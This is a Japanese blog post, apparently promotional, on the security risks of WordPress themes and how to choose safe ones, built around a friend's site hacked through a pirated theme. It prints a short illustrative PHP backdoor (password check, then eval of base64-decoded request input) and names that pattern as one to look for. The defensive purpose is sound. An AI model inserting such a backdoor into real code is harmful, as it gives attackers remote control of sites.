Webサイトのお助け隊

テーマのセキュリティリスクと安全な選び方

22 views
約14分

深夜2時。友人から届いたLINEの一言が、今でも忘れられない。

「やばい、サイトが…全部変わってる」

何がやばいのか分からず、送られてきたURLを開いた瞬間、背筋が凍った。彼が半年かけて育ててきたブログが、見知らぬブランド品の広告サイトに変わり果てていた。トップページから記事まで、全部。まるで別人の家に迷い込んだような違和感。

原因を調べたら、すぐに分かった。彼が2週間前にインストールした「無料の有料テーマ」。海外のフォーラムで見つけた、本来$79するはずのテーマが無料で配られてたやつ。「ラッキー!」って喜んでインストールしたらしい。

でもね、世の中にタダより高いものはないんだよ。

そのテーマには、攻撃者が仕込んだ「バックドア」っていう裏口が隠されてた。彼がテーマをインストールした瞬間、攻撃者に家の合鍵を渡したのと同じ。いつでも好きな時に侵入できる状態にしちゃったわけ。

僕はその日、朝まで彼と一緒にサイトの復旧作業をした。バックアップから復元して、テーマを全部入れ替えて、パスワードも変えて。でも、失われた信頼は戻らなかった。Googleからは「このサイトはハッキングされている可能性があります」って警告が出るし、検索順位は圏外に飛ばされるし、散々だった。

あの時の彼の落ち込みようったらなかった。「数千円ケチったせいで、半年分の努力が水の泡だよ」って。

テーマって、ただのデザインじゃないんだよね

WordPressを始めたばかりの頃、僕もそう思ってた。テーマなんて見た目を変えるだけのもんでしょ、って。でも全然違う。テーマはサイトの「骨格」そのものなんだ。

家を建てる時、外観のデザインだけ見て決める人はいないよね?耐震性とか、断熱性とか、そういう見えない部分こそ大事。WordPressのテーマも同じ。見た目がカッコよくても、中身がボロボロだったら意味がない。

実際、Wordfenceっていうセキュリティ会社の調査によると、WordPressサイトへの侵入経路のかなりの割合が「テーマの脆弱性」を突かれたものなんだって。プラグインばかり気にして、テーマを軽視してる人が多すぎる。

知らないとヤバい、テーマに潜む3つの地雷

友人の事件をきっかけに、僕はテーマのセキュリティについて死ぬほど調べた。そこで分かったのは、テーマには大きく分けて3つの「地雷」が潜んでるってこと。

地雷その1:バックドアっていう名の「合鍵」

これが一番タチが悪い。特に、海賊版テーマ(nulledテーマって呼ばれてる)には、ほぼ100%の確率でバックドアが仕込まれてる。

バックドアって何かっていうと、攻撃者が後からいつでもサイトに侵入できるように隠しておいた「裏口」のこと。テーマのファイルの中に、こっそりこんなコードが紛れ込んでるわけ。

<?php
    if (isset($_REQUEST['pass']) && $_REQUEST['pass'] == 'secret123') {
        eval(base64_decode($_REQUEST['cmd']));
    }
?>

これ、一見すると何てことないコードに見えるでしょ?でも、これがあると攻撃者は特定のパスワード(この例だと「secret123」)を送るだけで、サイトに対して何でもできちゃう。ファイルを書き換えたり、スパムメールを送信したり、やりたい放題。

友人のサイトも、まさにこれでやられた。テーマをインストールした瞬間、攻撃者に合鍵を渡してしまったようなもん。

地雷その2:放置された脆弱性という時限爆弾

「公式のテーマなら安全でしょ?」って思うよね。僕もそう思ってた。でも、それも半分正解で半分間違い。

どんなソフトウェアにもバグはある。テーマも例外じゃない。問題なのは、そのバグが「セキュリティホール」になった時、開発者がちゃんと修正してくれるかどうか。

更新が止まってるテーマって、マジで危険。WordPress本体はどんどん進化してセキュリティが強化されてるのに、テーマだけが古いまま。これって、最新の防犯システムを導入した家に、窓だけ昔のペラペラなガラスを使ってるようなもん。泥棒はわざわざ頑丈なドアを破ろうとせず、その窓を狙ってくる。

実際、過去には有名テーマの「OneTone」とか「Photocrati」で深刻な脆弱性が見つかって、大量のサイトが改ざんされた事件があった。開発者がちゃんとアップデートで対応してくれたからよかったけど、もし更新が止まってたら…考えるだけでゾッとする。

地雷その3:見えないところで仕込まれるSEOスパム

これは本当に陰湿。海賊版テーマの中には、サイトの評価を下げるための「スパムリンク」を、Googleのクローラーにしか見えないように埋め込むものがある。

どういうことかっていうと、あなたのサイトを踏み台にして、アダルトサイトとかギャンブルサイトの検索順位を上げようとするわけ。表面的には何も変わらないから、Google Search Consoleから「不自然なリンクが検出されました」って警告が来て初めて気づく。その頃には、サイトの検索順位は地の底。

友人の知り合いも、これでやられたらしい。3ヶ月かけて築いた検索順位が、一夜にして圏外に飛ばされた。復旧に半年以上かかったって聞いて、マジで怖くなった。

安全なテーマを見抜く7つのチェックポイント

友人の事件以来、僕はテーマを選ぶ時に絶対に妥協しなくなった。デザインがどんなにカッコよくても、安全性が確認できないテーマは使わない。そのために、7つのチェックポイントを作った。

チェック1:入手元は信頼できるか?

これは絶対。どんなにデザインが気に入っても、怪しいサイトからダウンロードしたテーマは使わない。

信頼できる入手元っていうのは、具体的にはこういうところ。WordPress公式のテーマディレクトリ。ここは審査が厳しいから、最低限の安全性は保証されてる。それから、ThemeForestみたいな大手のマーケットプレイス。世界中の開発者がテーマを販売してて、レビューや販売数で人気度が分かる。あとは、SWELLとかJIN:Rとか、日本で評価の高いテーマ。開発者の顔が見えるし、サポートも日本語で受けられる。

逆に、絶対に手を出しちゃダメなのが、海外の怪しいフォーラムとか、SNSで「無料でどうぞ」って配られてるテーマ。あれは罠。100%罠。甘い話には必ず裏がある。

チェック2:最終更新日をチェックする

テーマを選ぶ時、デモサイトばかり見てない?僕もそうだった。でも、本当に見るべきは「Last updated」の日付。

ここが1年以上前になってるテーマは、赤信号。WordPress本体の進化に取り残されて、未知の脆弱性が潜んでる可能性が高い。理想は、数ヶ月以内に更新されてること。定期的にメンテナンスされてる証拠だから。

ちなみに、僕が今使ってるテーマは、月に1回くらいのペースで更新されてる。開発者が真面目に管理してるのが分かって、安心して使える。

チェック3:レビューと販売数を確認する

ThemeForestみたいなマーケットプレイスでテーマを買う時は、販売数(Sales)とユーザー評価(Reviews)を必ずチェックする。多くの人が買ってて、高い評価を得てるテーマは、それだけ信頼性が高い。

でも、レビューの「数」だけじゃなくて「内容」も読み込むのが大事。「デザインは良いけど、サポートが最悪」とか「バグが多すぎる」とか、そういう生の声が、テーマの実態を知る手がかりになる。

星5つのレビューばかりじゃなくて、星2つとか3つのレビューこそ読むべき。そこに本音が書いてあるから。

チェック4:サポートフォーラムが生きてるか見る

良いテーマは、サポート体制も充実してる。購入前に、そのテーマのサポートフォーラムとかQ&Aページを覗いてみるといい。

ユーザーからの質問に、開発者は迅速に回答してるか?同じような問題で困ってる人はいないか?フォーラムは活発に動いてるか?

活気のあるフォーラムは、開発者がユーザーと真摯に向き合ってる証拠。逆に、何ヶ月も書き込みがないようなフォーラムは、開発が止まってる可能性を疑った方がいい。

チェック5:有料テーマを検討する

「無料テーマは危険」って言いたいわけじゃない。公式ディレクトリにも素晴らしい無料テーマはたくさんある。Cocoonとか、めちゃくちゃ優秀だし。

でも、セキュリティや長期的な運用を本気で考えるなら、有料テーマの方が安心できる。なぜなら、有料テーマは開発者にとって「ビジネス」だから。お金をもらってる以上、脆弱性への対応とかアップデート、サポートに責任を持つ義務がある。

無料テーマはあくまで開発者の「善意」によるもの。ある日突然、更新が止まってしまうリスクが常につきまとう。数千円の投資をケチったせいでサイトを失うリスクを考えれば、どっちが賢い選択か分かるよね。

チェック6:多機能すぎるテーマは避ける

これは意外かもしれないけど、機能が多ければ多いほど、セキュリティリスクは増大する。使わない機能がたくさん詰まった「全部入り」テーマは、それだけ攻撃者に狙われる「穴」も多くなる。

それに、機能が多いテーマはコードが複雑になりがちで、サイトの表示速度が遅くなる原因にもなる。必要な機能はプラグインで追加する、っていう考え方を基本に、なるべくシンプルで軽量なテーマを選ぶのが賢明。

僕も昔、「これ一つで何でもできます!」みたいな全部入りテーマを使ってたけど、サイトが重すぎて結局やめた。今はシンプルなテーマに、必要最小限のプラグインを組み合わせて使ってる。その方が速いし、管理も楽。

チェック7:テーマチェッカーでスキャンする

ちょっと上級者向けだけど、どうしても使いたいテーマがあるなら、インストール前にスキャンツールで安全性をチェックするのも手。

Theme Checkっていうプラグインがあって、これはWordPressの公式テーマレビューチームが使ってるのと同じ基準でテーマをチェックしてくれる。あとは、Sucuri SiteCheckっていうオンラインツール。サイトのURLを入力するだけで、マルウェアとか不審なコードがないかスキャンできる。

これらのツールで100%安全が保証されるわけじゃないけど、危険なテーマを避けるための判断材料にはなる。

さらに踏み込んだ3つの防衛策

7つのチェックポイントを守るだけでも、かなりリスクは減らせる。でも、もう一歩踏み込んで、さらにセキュリティレベルを高めたいなら、この3つもやっておくといい。

防衛策1:脆弱性情報を定期的にチェックする

「インストールしたら終わり」じゃダメ。一流のサイト管理者は、自分が使ってるテーマの脆弱性情報を常に監視してる。

JVN(Japan Vulnerability Notes)っていう日本の脆弱性対策情報ポータルサイトがあって、ここでWordPressのテーマやプラグインの脆弱性情報が公開されてる。あとは、Wordfenceのブログ。彼らは最新の脆弱性情報を日々発信してる。

月に1回でいいから、これらのサイトをチェックする癖をつけよう。もし自分の使ってるテーマに脆弱性が見つかったら、開発者がアップデートを公開するのを待つか、一時的に別のテーマに切り替えるなどの対応が必要。

防衛策2:使ってないテーマは削除する

「いつか使うかも…」って思って、使ってないテーマをWordPressにインストールしたままにしてない?それ、めちゃくちゃ危険。

無効化してるテーマでも、ファイルがサーバー上に存在する限り、そのテーマの脆弱性を突かれて攻撃の足がかりにされる可能性がある。使わないテーマは、迷わず削除。WordPressの管理画面から「外観」→「テーマ」と進んで、不要なテーマの詳細を開いて右下の「削除」をクリックするだけ。

僕も以前、10個くらいテーマをインストールしたままにしてた。でも、友人の事件をきっかけに全部削除した。今は使ってるテーマと、予備で1つだけ。それで十分。

防衛策3:ファイル変更を監視する

もし攻撃者がテーマのファイルを改ざんした場合、いち早くその変化に気づくことが重要。WordfenceとかiThemes Securityみたいなセキュリティプラグインには、ファイルの変更を監視・通知してくれる機能がある。

これらのプラグインを導入しておけば、万が一テーマのファイルが書き換えられた時に、「このファイルが変更されました」ってアラートを上げてくれる。身に覚えのない変更があれば、それは攻撃のサインかもしれない。すぐに専門家に相談しよう。

海賊版テーマの見分け方を知っておこう

「無料の有料テーマ」っていう甘い誘惑に負けないために、海賊版テーマの見分け方を知っておくのは大事。これを知ってるだけで、リスクを99%回避できる。

まず、価格が異常に安いか無料。本来数千円するテーマが、数十ドルとか無料で売られてる場合は、100%海賊版。次に、配布元が怪しい。公式サイトとか大手マーケットプレイス以外で配布されてるものは危険。「GPLクラブ」って名乗って再配布してるサイトもあるけど、多くはマルウェアが混入されてる。

それから、バージョンが古い。配布されてるテーマのバージョンが、公式サイトで公開されてる最新バージョンよりも古い場合は要注意。あとは、不審なファイルが含まれてる。ダウンロードしたテーマファイルに、class.theme-modules.php とか functions.php 内に不審な eval(base64_decode(...)) みたいなコードがないか確認しよう。少しでも怪しいと感じたら、すぐに削除。

ちなみに、公式テーマと海賊版テーマの違いを表にまとめるとこんな感じ。

公式・信頼できるテーマ海賊版(Nulled)テーマ
入手元公式ディレクトリ、大手マーケットプレイス、信頼できる開発者サイト怪しいフォーラム、非公式ストア、GPLクラブ
価格適正価格(有料)または無料(公式)異常に安い、または無料
アップデート定期的に提供される提供されない
サポートあり(フォーラム、メールなど)なし
安全性高い(脆弱性対応あり)非常に低い(バックドア、マルウェアのリスク大)
SEOクリーンスパムリンクが埋め込まれている可能性

一目瞭然でしょ?数千円ケチって、サイトを失うリスクを取る価値なんてない。

よくある質問に答えておく

Q. 日本語の無料テーマで安全なものは?

Cocoonは本当に優秀。開発者のわいひらさんが熱心にアップデートとサポートを続けてるから、無料テーマの中ではトップクラスの信頼性がある。もし無料にこだわるなら、第一候補になるね。

Q. テーマを途中で変更しても大丈夫?

可能だけど、細心の注意が必要。テーマ固有のショートコードとか機能が使えなくなって、デザインが崩れたり、最悪の場合サイトが表示されなくなったりする。変更前には必ずバックアップを取って、テスト環境で十分に検証してから本番サイトに適用すること。

Q. 子テーマって作った方がいいの?

絶対に作るべき。テーマのファイルを直接カスタマイズしちゃうと、テーマがアップデートされた時にカスタマイズ内容が全部上書きされて消えちゃう。子テーマを作ってカスタマイズ部分を分離しておけば、親テーマを安全にアップデートできる。これはセキュリティの基本中の基本。

Q. テーマのパフォーマンスとセキュリティは関係ある?

大いに関係ある。一般的に、コードがきれいで軽量なテーマは、パフォーマンスが高いだけじゃなくて、セキュリティリスクも低くなる。コードがシンプルであればあるほど、脆弱性が入り込む隙が少なくなるから。サイトの表示速度とセキュリティの両方を考えるなら、シンプルで高速なテーマを選ぶのが最適解。

最後に伝えたいこと

友人は、サイトを失った後、僕のアドバイスを聞いて信頼できる国内の有料テーマを導入した。ゼロからブログを再建して、今では以前よりも多くの読者を獲得してる。「あの時の失敗があったから、セキュリティの大切さが身に染みて分かったよ」って笑ってた。

でも、失ったものは大きかった。数ヶ月分の収益と、何より読者からの信頼。数千円のテーマ代をケチった代償としては、あまりにも大きすぎる。

あなたのサイトは、あなた自身が時間と情熱を注いで作り上げた大切な「城」のはず。その城の門を、正体不明の怪しい業者に任せちゃダメ。信頼できる「衛兵」として、実績のあるテーマを選んで、常に最新の状態に保つ。それが、あなたの城を守る唯一の方法。

甘い言葉で近づいてくる海賊版テーマに、あなたの未来を奪わせないでほしい。この記事が、あなたのサイトを守る一助になれば、これほど嬉しいことはない。


「うちのサイト、今どのくらい安全なんだろう?」

そんな疑問を持った方は、まずセキュリティ診断を受けてみるのもいいかもしれない。最近では、30秒ほどでサイトの安全性をチェックできる無料診断サービスもある。暗号化の設定やプラグインの脆弱性、情報漏れのリスクなど、気になるポイントを一通り確認できる。

WordPressセキュリティ診断 https://rescue-wordpress.com/

実は、毎日100サイト以上がハッキングの被害に遭っているという現実がある。「まさか自分のサイトが狙われるなんて」と思っていても、被害は突然やってくる。

早めに問題を見つけて対処しておけば、大きなトラブルを未然に防げる。まずは自分のサイトの「健康診断」から始めてみませんか?

FacebookでシェアTwitterでシェアPinterestでシェア